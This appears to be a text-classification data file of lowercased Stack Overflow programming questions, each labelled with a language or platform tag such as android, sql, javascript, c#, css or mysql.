header/title missing for `preferencescreen` in android  i am very new to android and i am having trouble displaying a header for my <code>preferencescreen</code> activity. i want to display a title like this    <a href= https://i.stack.imgur.com/cedi0.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/cedi0.png  alt= enter image description here ></a>    my class declaration goes like this   <pre><code>public class settingsactivity extends preferenceactivity </code></pre>   and <code>oncreate</code>like this   <pre><code>@override protected void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     _settingsfragment = new settingsfragment();      getfragmentmanager().begintransaction().replace(android.r.id.content  _settingsfragment).commit();  } </code></pre>   preferences.xml   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;preferencescreen xmlns:android= http://schemas.android.com/apk/res/android &gt;     &lt;preference         android:key= pref_key_vault_storage          android:title= vault storage          android:summary= set/modify the vault storage location.  &gt;         &lt;intent             android:targetpackage= com.test.concealx              android:targetclass= com.test.concealx.choosestorageactivity /&gt;     &lt;/preference&gt;     &lt;edittextpreference         android:id= @+id/id_path          android:title= vault path          android:key= pref_key_vault_path          android:summary= set/modify the storage path. do not change this unless you are sure about it. &gt;     &lt;/edittextpreference&gt; &lt;/preferencescreen&gt; </code></pre>   what i get now is this    <a href= https://i.stack.imgur.com/jvtzy.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/jvtzy.png  alt= enter image description here ></a>    i have already tried <code>android:title= my settings </code> and <code>settitle</code> on the preferenceactivity to no avail. any help would be appreciated.,android
need to allow only two duplicate values in a column  i am writing a query i am stuck with it.    requirement is we need to allow only two duplicate values to be entered in db    example   <pre><code>id   name 1    marry 2    marry 3    marry --&gt; this entry should not be allowed only id 1&amp;2 should not be allowed to enter 4    john </code></pre>   thanks in advance,sql
is the time complexity o(1) when i get a value from an object by a key in javascript   as i know  object in javascript acts like a hash (associative array). therefore  i think the time complexity will be always o(1) when i get a value by a key in an object like this <code>obj[ a ]</code>  no matter how many keys in <code>obj</code>. however  an interviewer challenged me about this.    he gave me a question: <code>find the intersection between two unsorted arrays (no duplicate)</code>.    my solution is that go through the first array and create hash for every elements  and then loop the second array  if elements in second array are in hash  then push it to output.    the code likes this:   <pre><code>function findintersection(ary1  ary2) {   var hash = {};   var output = [];    ary1.foreach((v) =&gt; {     hash[v] = true;   });    ary2.foreach((v) =&gt; {     if (hash[v]) {       output.push(v);     }   });    return output; } </code></pre>   i explained that the complexity is <code>o(m+n)</code>  m and n are the length of input arrays. but the interviewer seemed not agree this. he kept ask that are you sure <code>hash[v]</code> to get a value is o(1)  tell me how javascript achieves <code>hash[v]</code>.    is the time complexity of <code>hash[v]</code> not o(1)  if it s not  how to re-write my code to achieve linear time complexity using correct hash structure      this struck at the very foundations of my javascript learnings.,javascript
terminating app due to uncaught exception  nsinvalidargumentexception  5  i am getting this error while running my app: my code is:   <pre><code>- (ibaction)yes:(id)sender {     uialertview *msgbox=[[uialertview alloc]initwithtitle:@ warrning  message:nil delegate:self cancelbuttontitle:@ ok  otherbuttontitles:nil  nil];     if ([_usernametextbox.text length]&gt;0)     {         if ([_passwordtextfield.text length]&gt;0)         {             nsmutablestring *ms=[[nsmutablestring alloc]initwithformat:url _usernametextbox.text _passwordtextfield];             nsurl *serviceurl=[[nsurl alloc] initwithstring:ms];             nserror *error=nil;             nsdata *data=[nsdata datawithcontentsofurl:serviceurl options:nsdatareadinguncached error:&amp;error];             nsmutabledictionary *dic=[[nsmutabledictionary alloc]init];             nsstring *jsondata=[[nsstring alloc] initwithdata:data encoding:nsutf8stringencoding];             sbjson *parsedata=[[sbjson alloc] init];             dic=[parsedata objectwithstring:jsondata error:nil];             if([dic count]&gt;0)             {                 nsmutablestring *st=[[nsmutablestring alloc]initwithstring:[dic objectforkey:@ loginresult:@  + ]]; //@    withstring:@ +                  if ([st isequaltostring:@ yes ])                 {                     uialertview * alert=[[uialertview alloc] initwithtitle:@ accept  message:@ correct username  delegate:nil cancelbuttontitle:@ ok  otherbuttontitles:nil  nil];                     [alert show];                   }                 else                 {                     uialertview * alert=[[uialertview alloc] initwithtitle:@ error  message:@ invalid username and password  delegate:nil cancelbuttontitle:@ ok  otherbuttontitles:nil  nil];                     [alert show];                  }             }         }         else         {             msgbox.message=@ please enter password... ;             [msgbox show];         }     }     else     {         msgbox.message=@ please enter username... ;         [msgbox show];   } </code></pre>   i get the error:   <blockquote>    terminating app due to uncaught exception    nsinvalidargumentexception   reason:  <em>*</em> -[nsconcretedata   initwithcontentsofurl:options:error:]: nil url argument   </blockquote>   on the line:    <pre><code>nsmutablestring *st=[[nsmutablestring alloc]initwithstring:[dic objectforkey:@ loginresult:@  + ]]; //@    withstring:@ +  if ([st isequaltostring:@ yes ]) </code></pre>,objective-c
advice about how to vertically center content in fluid element  i have some content inside an article that is fluid in size  basically i have applied <code>display:table</code> to the parent element and then <code>display:table-cell</code> and <code>vertical-align:middle</code> to the element i wish to center. my problem is however that im unable to make the element i want to center 100% height of the parent article and was wondering how i can achieve this     i have built an example on jsfiddle: <a href= http://jsfiddle.net/f29mr/  rel= nofollow >http://jsfiddle.net/f29mr/</a>    <strong>and here is the sample css</strong>   <pre><code>.m-level-block {     width: 91.66667%;     float: left;     margin-right: 0%;     display: inline;     margin-left: 4.16667%;     margin-right: 95.83333%;     background: black;     margin-bottom: 10px; } .m-level-block .m-video-thumb {     width: 18.18182%;     float: left;     margin-right: 0%;     display: inline; } .m-video-thumb .video-stats-container {     position: absolute;     bottom: 0;     left: 0;     width: 100%; } .m-level-block .level-content {     width: 81.81818%;     float: right;     margin-right: 0;     display: inline;     position: relative;     display: table;     height: 100%; } .m-level-block .level-content .level-info {     padding: 2%;     width: 55.55556%;     display: table-cell;     vertical-align: middle;     max-height: 400px;     height: 100%; } </code></pre>,css
is it possible to stream android phone screen to another android phone using mediarecorder or mediaprojection   i want to <strong>share a phone screen to another phone over the wifi</strong> by the help of <strong>mediarecorder &amp; media projection apis</strong>. my target is api-21 and above.    <strong>i have few questions:</strong>   <ol> <li>how can i achieve it  need few guidelines.</li> <li>does it involves networking programming to do so </li> </ol>,android
border left for 3 cells on each other  i m using html tables to draw a table which has a border left to draw a line in the centre of a 3 x 2 table. unfortunately there are gaps in this border where the cell starts and ends.    can someone tell me how to get rid of this please   thanks,html
sql query to get table name from where data are originated  i have this query whch is executed on several tables of the same db all structured in the same way. basically the query found out codes listed in table_xxx   that are not present in table  components .   <pre><code>select distinct a.code  a.description   a.quantity from table_321 as a                         where not exists (select * from components where components.code = a.code)                         union all select distinct a.code  a.description  a.quantity from table_333 as a                         where not exists (select * from components where components.code = a.code)                         union all                         .............                         .............                         order by code </code></pre>   how can i get also the table name from which the  code  description and quantity  are originally contained,sql
why give a property both readonly and assign   if <code>assign</code> is a setter  but a property is <code>readonly</code>  then it will not be doing any setting  so why use <code>assign</code>      i am getting this from the <a href= https://developer.apple.com/library/ios/#documentation/cocoa/conceptual/objectivec/chapters/occategories.html  rel= nofollow >apple docs on class extensions. in this page </a> i get why you d want a public readonly property  then make it privately readwrite  but then why not omit the <code>assign</code> from the public <code>@interface</code> and just include it in the class extension only,objective-c
default picture for iphone 4  how shall i manage to make a default image for my iphone application that is large enough for the retina screen  the screenshots i take with the organizer in xcode is 320px x 480px  however how can i manage to get a screenshot twice as large  it is just a picture of the uinavigationbar  empty area in the middle and a uitabbar at the bottom with all content removed.    thanks in advance.,iphone
correct syntax for sql update where value to be set is a select  can someone set me straight on the correct syntax for this statement     i am trying to update a new field in table <code>rounds</code> with an average of a field in table <code>holes</code> where <code>rounds.id</code> is stored as a foreign key.   <pre><code>update `rounds` set drivingdistance_avg_per_hole =  select sum(holes.drivingdistance)/count(holes.drivingdistance) as avg  from `holes`  `rounds`  where holes.drivingdistance !=     and holes.round = rounds.id  </code></pre>   sure would appreciate the lesson!,sql
how to make an installer for visual c# 2010 express projects   how do i make an installer for the applications i made in visual c# 2010 express  do i have to purchase the full version  i downloaded wix but i couldn t figure out how to make it work. i wrote a little program that helps with stat point allocation in a game me and my friends play  but i can t figure out how to share it with them now.    anyone know what to do,c#
nsdata object in iphone <pre><code>nsstring  *imagepath = [nshomedirectory() stringbyappendingpathcomponent:@ documents/inapplibrary ];  nsstring *str=[@ /  stringbyappendingformat:appdelegate_ipad.drawpicture]; nsstring *currentimagename=[imagepath  stringbyappendingformat:str];  nsdata *dataimage = [nsdata datawithcontentsoffile:currentimagename]; </code></pre>   here nsdata object dataimage provide me null value  plz any buddy help me about what is wrong here.    thanks,iphone
c# memory leak analyze  i am breaking my head  but still i dint get solution. i ran these code and analyzed with .net memory profiler. it showed me that one instance of intentity[] is not collected. but i am clearing the list and setting it to null. how i can make this to garbage collect  am i doing anything wrong here      edit: i tried setting b = null &amp; calling gc.collect(gc.maxgeneration); but same results.<br> edit2: added images from net memory profiler &amp; ants memory profiler    please help me.    here is the code am using    <pre><code>public class intentity {     public int value { get; set; } }  public abstract class base {     protected list&lt;intentity&gt; numbers;      public base()     {     }      public abstract void populate();      public int sum()     {         numbers = new list&lt;intentity&gt;();          populate();          int sum = 0;         foreach (intentity number in numbers)         {             sum += number.value;         }          numbers.clear();         numbers = null;          return sum;     } }  public class child : base {     public override void populate()     {         numbers.add(new intentity() { value = 10 });         numbers.add(new intentity() { value = 20 });         numbers.add(new intentity() { value = 30 });         numbers.add(new intentity() { value = 40 });     } }   base b = new child();  messagebox.show(b.sum().tostring());  b = null;  gc.collect(gc.maxgeneration); </code></pre>   <img src= https://i.stack.imgur.com/6qocc.png  alt= alt text >    <img src= https://i.stack.imgur.com/pg8hq.png  alt= alt text >,c#
alarm in android  i am using the following code for alarm  it will alert after 10 secs. its works fine in emulator but in real device its forcely closing..can you guide me in correct way.. this is my actvity..   <pre><code>      public class alarm1 extends activity { /** called when the activity is first created. */ @override     public void oncreate(bundle savedinstancestate) {    super.oncreate(savedinstancestate);     setcontentview(r.layout.main);  intent intent = new intent(this  alarmreceiver.class); pendingintent pendingintent = pendingintent.getbroadcast(this 001000 intent 0);   alarmmanager alarmmanager = (alarmmanager) getsystemservice(alarm_service); alarmmanager.set(alarmmanager.rtc_wakeup  system.currenttimemillis() + (5 * 1000)  pendingintent); toast.maketext(this  alarm set   toast.length_long).show(); </code></pre>   } }` this is receiver class   <pre><code>public class alarmreceiver extends broadcastreceiver {  @override public void onreceive(context context  intent intent) {     toast.maketext(context   alarm worked   toast.length_long).show();     try{          intent back = new intent(context alarm.class);         back.addflags(intent.flag_from_background);         back.addflags(intent.flag_activity_new_task);         back.setaction( android.intent.action.main );         back.addcategory( android.intent.category.launcher );         context.startactivity(back);     }     catch(exception e){}  } </code></pre>   }    this is to play ringtone for alarm.   <pre><code>public class alarm extends activity { private mediaplayer mp; /** called when the activity is first created. */ @override public void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(r.layout.alarm);     mp = mediaplayer.create(this  r.raw.up);     mp.start();      button start = (button) findviewbyid(r.id.button01);     start.setonclicklistener(vvvvv); }  private onclicklistener vvvvv = new onclicklistener() {     public void onclick(view v) {          mp.stop();         finish();     } }; </code></pre>   }    this is working fine in emulator but not on real device..i used permissions also.. i am using samsung galaxy 1.6. thanks in advance..,android
can t find what the error is  after compiling this code i get k=0. shouldn t it be k=0.8   what s wrong with the code    <pre><code>#include &lt;stdio.h&gt; #include &lt;math.h&gt; void main() {     int x=8;     int y=10;     int m=6;     float k;     k=x/y;     printf( k=%f  k); } </code></pre>,c
toggle label element in javascript  hello everybody i ve recently asked <a href= https://stackoverflow.com/questions/1907006/replace-input-with-javascript >this question</a> and i ve given up with the  replace input idea . instead i ve decided to try another approach..     i ve made my password field background transparent and i placed <code>&lt;label&gt;</code> element  behind  the password input  so that it appears to be part of the password field. now i wrote a standard function for toggling element like this :   <pre><code>function togglepassword(obj) {                     var el = document.getelementbyid(obj);                     if ( el.style.display !=  none  ) {                         el.style.display =  none ;                     }                     else {                         el.style.display =   ;                     }                 } </code></pre>   i trigger this function onforus and onblur from password field so that label disappears when the password field is focused but i have problems with onblur  because after i type password and hit tab on the which takes me to login submit button then the <code>&lt;label&gt;</code> element appears with password value again and its mixed with typed password. <a href= http://i49.tinypic.com/23s7ypc.png  rel= nofollow noreferrer >image http://i49.tinypic.com/23s7ypc.png</a> here is the image of that  so i tried to come up with something new.   <pre><code>function togglepassword(obj) {                 var el = document.getelementbyid(obj);                         var input_el = document.getelementbyid( password_field );                    if(input_el.value.length &gt; 0)                             {                                 el.style.display =  none ;                             }                            else {                               if ( el.style.display !=  none  ) {                         el.style.display =  none ;                         }                         else {                             el.style.display =   ;                         }                     }                                } </code></pre>   unfortunately  this code doesn t work .. can someone point to me where did i made mistake  so this second code should check whether password field is emtpy or not  if its not empty then continue to toogle if it is don t toggle just hide the password value. help :d thank you,javascript
horizontally display images on small browser window  i have this photo site that i am noodling with and i have an issue with reactive sizing of the browser window. the images look great at 100%  but when i size down the window the landscape images start to resize  which i understand they are sizing down to meet the width of the browser window.    however when i get really small  to mimic a smartphone  i really want these images to stack  as this makes more sense for images that are portrait. so the idea is to go from left to right and then top to bottom when the browser is small. im kinda rusty at css and i cant remember how to get this done. can someone please help a brutha out and point me in the right direction so i can get this going  im doing this all thru my wp override option  so an approach i should follow with just css would be the best  as im a tard with anything more complex.    the site is here: <a href= http://jadanduffinphotography.com/  rel= nofollow >http://jadanduffinphotography.com/</a>    thanks! -jadan,css
inheritance in css properties   sorry  but no matter how often i read it  i just don t grok it.    i have declared      <pre><code>.submit_button   {     font: 12px arial;     margin:0px;     padding:2px;   } </code></pre>   and now i want to declare <code>centered_submit_button</code> which inherits from <code>submit_button</code> and adds <code>margin-left:auto; margin-right:auto;</code>    please take pity on me ...,css
inserting new column in mysql taking too long  we have a huge database and inserting a new column is taking too long. anyway to speed up things,mysql
how expensive are method calls in .net  what is the relative performance cost of calling a method over in-line code,.net
iphone internet connectivity  i m developing a game for the iphone at the moment and i d like to offer the player the option to submit their high scores to my server. the gameplay itself does not require internet connectivity.    what s the best way to handle this  just make the request and fail gracefully if there s no internet connection  or is there an api to request that the user connects to the internet     i m using nsurlrequest and nsurlconnection to submit the data.    i ve searched the apple docs and the only thing i ve come across is the flag for the persistent wifi connection but that seems like overkill.    any help is appreciated.,iphone
w3school: asp.net tutorial: adding websecurity object  i followed the whole tutorial here <a href= http://www.w3schools.com/website/webpages_demo.asp  rel= nofollow >http://www.w3schools.com/website/webpages_demo.asp</a> and have all the files in my webmatrix demo website project as instructed. i set up a  northwind.sdf  database and created a table  users  (having id  companyname city  country columns) but my website could not run.     connection string  users  was not found  is the issue     line 2:      websecurity.initializedatabaseconnection( users    userprofile    userid    email   true);     this line is highlighted in red. i don t know how to fix it. i read somewhere about   public static class websecurity  but i don t know where to put it  which file and which line (right place for it if inserting it can solve the issue).    when i delete _appstart.cshtml  and by hitting run button in webmatrix for testing  my demo website can run but pages like register  getcustomers  customers are missing the database. please help me to set up things properly in order to solve the problem. i m new to this.,asp.net
mysql query performance issue with left join  i have 3 tables in database. first table has 150k records  2nd table has 175k records and 3rd table has 2.1 million records. i need the output using above 3 tables. so i joined above 3 table using inner join and i got the output with 1.5k records  but it takes 8 hours of time to execute.    i used primary keys in joining tables. how to increase the performance     i have tried to add indexes and below is the script &amp; code    below table has 150k records   <pre><code> create table `us_input_opp_oppheader` (     `accountid` varchar(100) not null      `accountname` varchar(200) default null      `objectid` varchar(100) not null      `processtype` varchar(100) default null      `description` varchar(250) default null      `nooflines` int(11) default null      primary key (`accountid` `objectid`)      key `objectid`      (`objectid` `description` `accountid` `accountname` `nooflines`)     )engine=innodb default charset=latin1; </code></pre>   below table has 175k records   <pre><code>create table `us_input_opp_oppitem` (   `objectid` bigint(20) not null    `createdby` varchar(100) default null    `changedby` varchar(100) default null    `numberint` varchar(100) not null    primary key (`objectid` `numberint`)    key `objectid` (`objectid` `createdby` `changedby` `numberint`) ) engine=innodb default charset=latin1; </code></pre>   below table has 2.1 million records   <pre><code>create table `us_input_opp_oppsalesteam` (   `transactionnumber` varchar(100) not null    `item` varchar(100) not null    `partnerfunction` varchar(100) default null    `partnerfunctiontext` varchar(200) default null    primary key (`transactionnumber` `item`)    key `item` (`item` `partnerfunction` `partnerfunctiontext`) ) engine=innodb default charset=latin1;   select oh.objectid  oh.description  oi.`createdby`  oi.`changedby`  oh.description  oh.processtype   os.`item`  os.`partnerfunction`  os.`partnerfunctiontext`      from us_input_opp_oppheader oh  left join us_input_opp_oppitem oi on oi.objectid = oh.objectid  left join us_input_opp_oppsalesteam os on os.transactionnumber = oh.objectid  where (os.item != 0 or oh.nooflines = 0)  group by oh.objectid  oi.numberint; </code></pre>,mysql
buttonmanagement in c# and auto generated button click events  i need some input on a class that has been bothered me all day. what i want to achieve is listing buttons next to eachother and show them max 8 at the time. so if there is more then 8 buttons i ll use navigation buttons to scroll through the possible buttons.     the problem i have is  since these are generated in a loop - the click events doesn t behave like i want.     this is the class i ve made for this: <a href= http://pastebin.com/qxtjylx2  rel= nofollow >buttonmanagement class</a>    the problem is probably very easy but i ve stared on this way too long! when i first trigger the method drawgroupbuttons() i found it easiest too see the problem when you show the buttons in the middle. i can with no problem go in one direction  but as soon as i change direction the problems start to appear.     in my example (in another not attached class) i ve used 128 buttons and start generating them from 43 to 57. if i go left in the  menu  i get: 29 43 -> 15 29 -> 0 15    the above values is the content of p_start and p_end. this is just how i want it. if you noticed it s different amount of buttons in each step  it is because of the navigation buttons (the first group 0 15 only have a right-button). but when i start going right  the initial values are used (in this case 43 57). so i will jump from 0 15 to 57 71 which is terribly wrong :( it s like the click events doesn t know the changes the other one does. do anyone know what i m doing wrong here,c#
similar to n+1 with two models in ror  this has probably been answered before but i have been searching a lot and can only find solutions for the  regular  n+1 problem. i have two models  regions and colors  regions can have several colors and a color is associated with a region. say there are 10 regions and 5 colors for each region  50 rows in the color table. i want to find all the colors  with a specific color_mode  for the regions.    <pre><code>create_table :region do |t|   t.string :name end  create_table :colors do |t|   t.references :region  index: true   t.integer :color_mode   t.column :color  :bigint end  class color &lt; activerecord::base   belongs_to :region end  class region &lt; activerecord::base   has_many :colors end </code></pre>   i can get the job done with:   <pre><code>  @ids = []    @colors = []   regions.all.each do |region|     @ids.push(region.id)     @colors.push(color.find_by(region: region  color_mode: some_color).color)   end </code></pre>   but this will produce n+1 queries  and i can t really figure out how to do it more efficient.     thank you!,ruby-on-rails
update with the value returned from aggregate function  how to update a column of a table using an aggregate function in the sql <code>update</code> statement,sql
move viewstate server-side  okay so i have an asp.net application and i m trying to reduce the overhead for our pages (our users have pcs that average 10 years old).    one of the approaches is to move viewstate server-side. we ve plenty of ram.    i followed the most often cited pattern for doing this here: <a href= http://authors.aspalliance.com/robertb/articles.aspx articleid=2  rel= nofollow >http://authors.aspalliance.com/robertb/articles.aspx articleid=2</a>    because it was written 7 years ago  i had to update some obsolete functions  namely registerhiddenfield to scriptmanager.registerhiddenfield and configurationsettings.appsettings to configurationmanager.appsettings.    this seems to work fairly well  however as soon as i do an ajax postback  i get the error   <pre><code>microsoft jscript runtime error: sys.webforms.pagerequestmanagerservererrorexception: the state information is invalid for this page and might be corrupted. </code></pre>   i also noticed that there are now two hidden  __viewstate  fields on each page with one of them being empty  and one of them having the numeric value from my class.  i think this is related to the issue -- perhaps the ajax update is trying to reading from the empty one instead of the one with the value     does anyone know why this error occurs,asp.net
android studio complie file  i want to compile jar file in android studio. but it come out error say  could not find property file on org.gradle.api;interna.    here is the code:   <pre><code>buildscript { repositories {     jcenter() } dependencies {     classpath  com.android.tools.build:gradle:1.2.3      compile file  libs/jtds-1.2.7.jar      // note: do not place your application dependencies here; they belong     // in the individual module build.gradle files } </code></pre>   }   <pre><code>allprojects { repositories {     jcenter() } } </code></pre>,android
rails collection_select error  undefined method show   what i m trying to do is create a a drop down list of demographics.  i m not really interested in calling the show method  its just a place holder for a method i will write. the problem i m having is that  rails doesn t acknowledge that the show method exists.    demographics view:   <pre><code>&lt;%= collection_select( :demographic  :id  @demographics  :demographic  :show) %&gt; </code></pre>   demographics_controller:   <pre><code>   def show      @races = race.all    end  </code></pre>   what am i doing wrong,ruby-on-rails
why can you use multiple semicolons in c   in c i can do the following:   <pre><code>int main() {  printf( hello world );;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; } </code></pre>   and it works! why is that     my personal idea: semicolons are a no operation (from wikipedia) indicator  having a giant string of them serves the same idea as having one and telling c that a statement has ended.,c
parent-child window in java script  i want to stop the program flow until i receive input from child window.    code for parent window:   <pre><code>&lt;html&gt; &lt;head&gt; &lt;meta http-equiv= content-type  content= text/html; charset=windows-1252 &gt; &lt;title&gt;mainpage&lt;/title&gt; &lt;script language= javascript &gt;  function openpage(){ window.open( ok.htm   warning   fullscreen=0 height=150 width=300 left=500 location=0 menubar=0 resizable=0 scrollbars=0 status=0 titlebar=0 toolbar=0 top=200 );  //this the place i want my program to wait till i get any  input that is any change in document.fm.w.value form my child window/////// alert(document.fm.w.value);/// alert should contain the new value acorrding to selection of button in child window////   } &lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;form name= fm &gt;  &lt;input type= hidden  size= 40  id= w  value= wwww &gt; &lt;input type= button  value=  press  id= q  name=  q  onclick=  openpage(); &gt; &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   child window code:   <pre><code>&lt;html&gt; &lt;head&gt; &lt;meta http-equiv= content-type  content= text/html; charset=windows-1252 &gt; &lt;title&gt;warning&lt;/title&gt; &lt;script language= javascript &gt;  function returntomainpage1() { window.opener.document.fm.w.value =  x  //self.close(); } function returntomainpage2() { window.opener.document.fm.w.value =  o  self.close(); }  &lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;form name= fm &gt;  &lt;table id= messagetable  width= 100% &gt;     &lt;tr&gt;         &lt;td align= center &gt;         &lt;input type= button  value=  ok  id= latest_version  onclick=  returntomainpage1(); &gt;&lt;/td&gt;         &lt;td&gt;view latest released version&lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;         &lt;td align= center &gt;&lt;input type= button  value=  ok  id= older_version  onclick=  returntomainpage2(); &gt;&lt;/td&gt;         &lt;td&gt;continue viewing obsolete version&lt;/td&gt;     &lt;/tr&gt;  &lt;/table&gt; &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>,javascript
rails: custom ordering of records  does ruby or rails provide a method to order strings in a specified order   say that i have the following priorities  severe  high  medium  low .    these priorities are not going to change frequently (if at all).  i have a task model with a priority column:   <pre><code>tasks   - id (integer)   - name (string)   - priority (string) </code></pre>   i d like to get an array of all the tasks ordered by priority.  since the logical order does not follow alphabetical order  it s not possible to simply order by the priority column:   <pre><code>task.all(:order =&gt; :priority) </code></pre>   what i ve done is create a priority model and defined the associations: task belongs_to priority.  in the priorities table  i then assigned each priority name a value and ordered by that value.  is there a better way to do this   i d rather not have a priorities table at all and declare a priority constant (as a hash)  or simply specify the priority as a string in the tasks table.,ruby-on-rails
drag and drop image layers on a background in asp.net  i have a requirement of creating an asp.net webpage that the user is able to dynamically add new defined image objects (increase the amount) on a background image.    then the user can drag and drop the image objects on the background image. the coordinates of the images objects will then be saved. in addition  a new background image contain the image objects will be saved in one image as well.    would it be possible to be done with asp.net without silverlight,asp.net
passing bool in objective-c  i have a framework written in obj-c that i have to amend and i am having great difficulty trying to have an obj-c function take a boolean. i am a swift developer.    how can i do this in obj c    <pre><code>- (void)loginwithsamltoken:(boolean *)saml credentialtoken:(nsstring *)credentialtoken completionhandler:(metlogincompletionhandler)completionhandler {     [self loginwithmethodname:@ login  parameters:@[@{@ saml : saml}  @{@ credentialtoken : credentialtoken}] completionhandler:completionhandler]; } </code></pre>   i get error on the second line {@ saml : <strong>saml</strong>} : collection element of type  boolean *  (aka  unsigned char * ) is not an objective-c object    how can i pass a bool in obj-c   any help would be very much appreiated    any help with this conversion would be very much appreaciated ! thank you,objective-c
foreach loop in java doesn t work  i am trying to create a for-each loop in java that iterates on every character in a string. when i try to do this i get an error in netbeans:   <pre><code>for-each not applicable to expression type required:array or java.lang.iterable  found java.lang.string </code></pre>   this is the java code on which i get an error:   <pre><code>for(char c : fen){ } </code></pre>   <code>fen</code> is a string    i am trying to understand the source code of a game writen in c# and the foreach loop there worked:   <pre><code>foreach(char in fen){} </code></pre>,java
jquery selector to target the control right before current element  i am trying to select the element right before current element. the current element is a hyperlink which when clicked appends some text to the  target  which is just before the hyperlink.     these controls are in asp:repeater so the same sequence gets repeated over and over and every hyperlink should be able to identify the element just above it.    here is my dom screenshot    <img src= https://i.stack.imgur.com/qtjyb.jpg  alt= enter image description here >    i just need to know how to select the element this way ! thanks,jquery
sql - find unique values within grouped results  i have the following tables   <pre><code>**order** - id (int) - orderdate (datetime) - ordernumber (nvarchar) - customerid (int) - totalamount (decimal) </code></pre>   &nbsp;   <pre><code>**orderitem** - id (int) - orderid (int) - productid (int) - unitprice (decimal) - quantity (int) </code></pre>   &nbsp;   <pre><code>**product** - id (int) - productname (nvarchar) - supplierid (int) - unitprice (decimal) - package (nvarchar) - isdiscontinued (bit) </code></pre>   &nbsp;   <pre><code>**supplier** - id (int) - companyname (nvarchar) - contactname (nvarchar) - contacttitle (nvarchar) - city (nvarchar) - country (nvarchar) - phone (nvarchar) - fax (nvarchar) </code></pre>   i need to find out all the orders which contains products which are supplied from single country. any help appreciated.,sql
parsing iso-639 language codes to show full english language names  i have an app on the app store which lets you launch apps in different languages. you can see a screenshot here: <a href= http://linguaswitch.com/  rel= nofollow >http://linguaswitch.com/</a>    you can t see it in that screenshot  but the app uses nsbundle -localizations as an array to populate the pop-up menu.    apple moved away from  english  to  en  in later versions of xcode. nsbundle -localizations returns whatever is in the bundle. so if an app is old (like ical / pages) then you get  dutch   english   pt   es   it   i.e. a mixture depending on when the localization was added.    apple have requested i parse this list. so it is  user friendly . i need it create some sort of array that parses iso-639 two-letter codes into full english names again.    any hints on how i could approach this  thanks!,objective-c
is there any option to move last alphabet of textview text somewhat upside   we can move textview string upside by using property    <pre><code> android:paddingbottom= 4dp  </code></pre>   i want to move last alphabet of a textview string(not all the string) to somewhat upside.,android
app can not run on windows 2003  i have created a application base on .net framework 2.0 in a windows xp machine  then i copied the app to another windows 2003 server machine which has installed .net framework 3.5 but the app can t be launched and throught the event view i got the following errors:   <pre><code>event type: error event source:   .net runtime 2.0 error reporting event category: none event id:   5000 date:       5/15/2010 time:       2:19:39 pm user:       n/a computer:   avcndaecliu4 description: eventtype clr20r3  p1 ftacsearchpopup.exe  p2 1.0.0.0   p3 4bee3c42  p4 ftacsearchpopup  p5 1.0.0.0  p6 4bee3c42   p7 11  p8 e  p9 system.io.fileloadexception   p10 nil.  for more information  see help and support center at http://go.microsoft.com/fwlink/events.asp. data: </code></pre>  <hr>   i have used fuslogvw to got the possible reason: in my app s project  i have add a xxx.dll as reference and in the windows 2003 machine  the version of xxx.dll is different with the one i referenced in my project  so what can i do to solve the problem to let the app run with a different version xxx.dll,.net
how can i get a path from caller  this is just example to explain.   <pre><code>[./includes/functions.inc.php] function getphpresult($path) {     ob_start();     include $path;     $result = ob_get_clean();      return $result; }  [./pages/a.php] echo getphpresult( b.php );  [./pages/b.php] some php code. </code></pre>   this code doesn t work.<br> because <code> b.php </code> in a.php is not valid path in <code> getphpresult </code>.    if i use <code>include  b.php </code> in a.php  b.php in same directory with a.php will be load.<br> but  if i use <code>getphpresult ( b.php )</code> in a.php  b.php in same directory with functions.inc.php will be load.<br> but i want to load b.php in same directory with a.php    so  i should change <code>getphpresult( b.php )</code> to <code>getphpresult( ../includes/b.php )</code>.<br> but  it will doesn t work if <code>a.php</code> and <code>b.php</code> are moved to other directory.    then  i want to find a correct path in <code>getphpresult</code> function.<br> my solution is just use <code>debug_backtrace</code>.     <pre><code>function getphpresult($path) {     $backtrace = debug_backtrace(debug_backtrace_provide_object  2);     $dir = dirname($backtrace[1][ file ]);      ob_start();     include $dir .  /  . $path;     return ob_get_clean(); } </code></pre>   but  i think it isn t good way.<br> how can i find a correct path without <code>debug_backtrace</code>,php
difference between &array[0] and &array when passed to a c function  is there a difference between &amp;array[0] and &amp;array when passed to a c function. this array is a void* array which currently takes integer as data.    added the test code   <pre><code>#include &lt;iostream&gt; #include &lt;conio.h&gt;  using namespace std;  int read_buffer[10] = {0 0 0 0 0 0 0 0 0 0};  int write_buffer[10] = {0 1 2 3 4 5 6 7 8 9};  void writeblock(void* srcptr) {   //writeblock will use srcptr and store the data to a common memory block which readblock will access.  }  void readblock(void* dstptr) {    //readblock function will fetch data from readbuffer and put the data back into the *dstptr. }  void main() {  writeblock((int*)&amp;write_buffer);  //is there a difference between these two below calls.   readblock(&amp;read_buffer[0]);   readblock(&amp;read_buffer);  } </code></pre>,c
how to cast from int* to nsnumber*  i have the following code. it compiles  but crashes.  what am i doing wrong     <pre><code>- (void)start: (int*)shouldpause {             nsnumber * oshouldpause = (nsnumber *)shouldpause;     [self performselectorinbackground:@selector(runthread:) withobject: oshouldpause]; } </code></pre>   and function runthread is   <pre><code>- (void)runthread: (nsnumber*) shouldpause </code></pre>   in general  i want to set some integer outside of the thread and inside of the thread to change behaviour depending on this integer.    thanks for help!,objective-c
need to get particular string output from a given string using c#  i have a string like below.   <pre><code>window( text:=e2e testing system 9304e-ex pack (t103/35) ).kcmllist( module_list..list ).select  purchase ledger  </code></pre>   what i want is to get the window part only that is upto below portion.   <pre><code> window( text:=e2e testing system 9304e-ex pack (t103/35) )  </code></pre>   please note the value inside the brace can be anything (including special character). thanks in advance.,c#
